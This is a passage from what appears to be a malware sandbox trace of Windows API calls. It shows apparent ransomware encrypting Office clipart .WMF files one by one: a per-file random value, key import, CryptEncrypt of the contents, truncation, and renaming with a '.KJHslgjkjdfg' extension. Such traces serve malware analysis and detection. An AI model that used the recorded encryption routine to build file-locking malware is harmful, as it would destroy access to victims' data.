dwFlags=0x0) returned 1 [0211.519] GetProcessHeap () returned 0x990000 [0211.519] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.519] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.519] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.519] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.519] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.519] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.519] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.519] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.519] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.520] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.520] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.520] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.520] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1948, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1948, lpOverlapped=0x0) returned 1 [0211.531] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1950, dwBufLen=0x1950 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1950) returned 1 [0211.531] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.531] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1950, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1950, lpOverlapped=0x0) returned 1 [0211.532] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.532] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.532] SetEndOfFile (hFile=0x130) returned 1 [0211.534] GetProcessHeap () returned 0x990000 [0211.535] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.535] GetProcessHeap () returned 0x990000 [0211.535] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf.kjhslgjkjdfg")) returned 1 [0211.537] CloseHandle (hObject=0x130) returned 1 [0211.537] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31846100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31846100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x51ea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00367_.WMF", cAlternateFileName="")) returned 1 [0211.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.538] GetProcessHeap () returned 0x990000 [0211.538] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.538] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.538] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.538] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0211.647] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.647] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.647] GetProcessHeap () returned 0x990000 [0211.647] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.647] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.647] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.647] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.648] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.648] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.648] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.648] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.648] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.648] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.648] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x51ea, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x51ea, lpOverlapped=0x0) returned 1 [0211.655] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x51f0, dwBufLen=0x51f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x51f0) returned 1 [0211.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.655] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x51f0, lpOverlapped=0x0) returned 1 [0211.656] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x52c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.656] SetEndOfFile (hFile=0x130) returned 1 [0211.659] GetProcessHeap () returned 0x990000 [0211.659] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.659] GetProcessHeap () returned 0x990000 [0211.659] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.659] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf.kjhslgjkjdfg")) returned 1 [0211.661] CloseHandle (hObject=0x130) returned 1 [0211.661] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3308, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00373_.WMF", cAlternateFileName="")) returned 1 [0211.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.663] GetProcessHeap () returned 0x990000 [0211.663] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.663] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.663] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.663] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.666] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.666] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.666] GetProcessHeap () returned 0x990000 [0211.666] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.666] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.666] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.666] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.666] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.666] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.666] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.667] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.667] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.667] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.667] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3308, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3308, lpOverlapped=0x0) returned 1 [0211.668] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3310, dwBufLen=0x3310 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3310) returned 1 [0211.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.668] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3310, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3310, lpOverlapped=0x0) returned 1 [0211.668] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x33e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.668] SetEndOfFile (hFile=0x130) returned 1 [0211.671] GetProcessHeap () returned 0x990000 [0211.671] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.671] GetProcessHeap () returned 0x990000 [0211.671] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf.kjhslgjkjdfg")) returned 1 [0211.673] CloseHandle (hObject=0x130) returned 1 [0211.673] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b58e00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32b58e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x27f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00382_.WMF", cAlternateFileName="")) returned 1 [0211.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.675] GetProcessHeap () returned 0x990000 [0211.675] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.675] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.675] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.675] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0211.687] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.687] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.687] GetProcessHeap () returned 0x990000 [0211.687] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.687] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.687] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.687] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.687] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.687] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.687] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.687] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.688] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.688] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.688] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x27f4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x27f4, lpOverlapped=0x0) returned 1 [0211.695] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2800, dwBufLen=0x2800 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2800) returned 1 [0211.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.695] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2800, lpOverlapped=0x0) returned 1 [0211.695] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x28d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.695] SetEndOfFile (hFile=0x130) returned 1 [0211.698] GetProcessHeap () returned 0x990000 [0211.698] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.698] GetProcessHeap () returned 0x990000 [0211.698] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf.kjhslgjkjdfg")) returned 1 [0211.700] CloseHandle (hObject=0x130) returned 1 [0211.700] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27894f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27894f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00390_.WMF", cAlternateFileName="")) returned 1 [0211.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.702] GetProcessHeap () returned 0x990000 [0211.702] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.702] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.702] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.706] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.706] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.706] GetProcessHeap () returned 0x990000 [0211.706] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.706] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.706] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.706] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.707] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.707] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.707] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | 